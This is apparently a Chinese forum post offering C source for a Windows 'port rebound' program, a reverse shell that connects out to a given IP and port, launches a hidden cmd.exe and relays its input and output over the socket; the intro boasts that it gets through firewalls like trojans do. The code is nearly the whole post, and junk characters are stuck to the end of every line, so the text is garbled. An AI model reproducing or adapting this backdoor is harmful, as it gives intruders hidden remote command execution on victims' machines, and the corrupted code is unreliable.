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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "<SK=W  
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/* ============================== d nWh}!  
Rebound port in Windows NT KGS=(z  
By wind,2006/7  S =!3t`  
===============================*/ /[`bPKr  
#include 8 C@iD%  
#include hhLEU_U  
@[D-2s  
#pragma comment(lib,"wsock32.lib") xV @X%E  
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void OutputShell(); /\"=egB9  
SOCKET sClient; (?Fz{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pi[:"}m]/P  
N'w ;1,c+  
void main(int argc,char **argv) 6;i]v|M-  
{ 02q]^3  
WSADATA stWsaData; {]]qd!,  
int nRet; @ 6w\q?.s  
SOCKADDR_IN stSaiClient,stSaiServer; v@TP_Ka  
Ufd{.o[{-  
if(argc != 3) k;/U6,LQ*  
{ zL$$G,  
printf("Useage:\n\rRebound DestIP DestPort\n"); IF YGl  
return; Ytop=ZIl'  
} @U08v_,  
,E2Tw-%  
WSAStartup(MAKEWORD(2,2),&stWsaData); gf7%vyMo$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w K0vKdi  
|{udd~oE&  
stSaiClient.sin_family = AF_INET; NPF"_[RoeV  
stSaiClient.sin_port = htons(0); 8%q:lI  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W;en7v;#I}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y4 q;  
{ bII pJQ1.[  
printf("Bind Socket Failed!\n"); ")LcB' C  
return; pLi_)(#z_  
} HfEU[p7)  
N# $ob 9  
stSaiServer.sin_family = AF_INET; {?yZdL:m)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y3^UJe7E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |X@ZM  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6wK>SW)#&j  
{ <=2\xJfxB  
printf("Connect Error!"); CR3<9=Lv>  
return; AlF"1X02  
} },<(VhP  
OutputShell(); [xW;5j<87  
} D>neY9  
W u?A} fH  
void OutputShell() ~5S[Sl  
{ ;>YLL}]j  
char szBuff[1024]; x-J.*X/aB  
SECURITY_ATTRIBUTES stSecurityAttributes; J?9K|4 )  
OSVERSIONINFO stOsversionInfo; jFS])",\i  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4h% G %>j  
STARTUPINFO stStartupInfo; )A*Sl2ew  
char *szShell; 8 huB<^  
PROCESS_INFORMATION stProcessInformation; 40Z/;,wp{  
unsigned long lBytesRead; Mb\[` 4z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I%# e\  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tbq_ Rg7s  
stSecurityAttributes.lpSecurityDescriptor = 0; !k0t (.  
stSecurityAttributes.bInheritHandle = TRUE; r57rH^Hc  
.ta*M{t  
((E5w:=?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xx EcmS#>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~glFB`?[  
* ~4m!U_s  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h| ]BA}D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  !#Hca  
stStartupInfo.wShowWindow = SW_HIDE; f')3~)"  
stStartupInfo.hStdInput = hReadPipe; -nKBSls  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G[[NDK  
#Cz6c%yK  
GetVersionEx(&stOsversionInfo); Q =cbHDB  
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switch(stOsversionInfo.dwPlatformId) "K$ y(}C  
{  zFk@Y  
case 1: "Gm:M  
szShell = "command.com"; MB] Y|Vee  
break; Or[uq,Dm16  
default: x1ID6kI[{*  
szShell = "cmd.exe"; ?FRQ!R  
break; vy+9Q5@W  
} w=H4#a?fc  
)QiHe}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t?j2Rw3f`I  
;o0o6pF  
send(sClient,szMsg,77,0); ,9;d"ce  
while(1) 3` aJ"qQE  
{ v^_<K4N`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Oz1ou[8k  
if(lBytesRead) 4D\+_Ic3  
{ 4ng*SE _  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \w=7L- 8  
send(sClient,szBuff,lBytesRead,0); TAu*lL(F  
} =7Y gES  
else tF d^5A*  
{ T6ZJSKM  
lBytesRead=recv(sClient,szBuff,1024,0); T\ h_8  
if(lBytesRead<=0) break; e[@ ^UY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WPM<Qv L  
} x{|n>3l`b9  
} OWK)4[HY(  
d4P0f'.z  
return; !u#o"e<qh  
}
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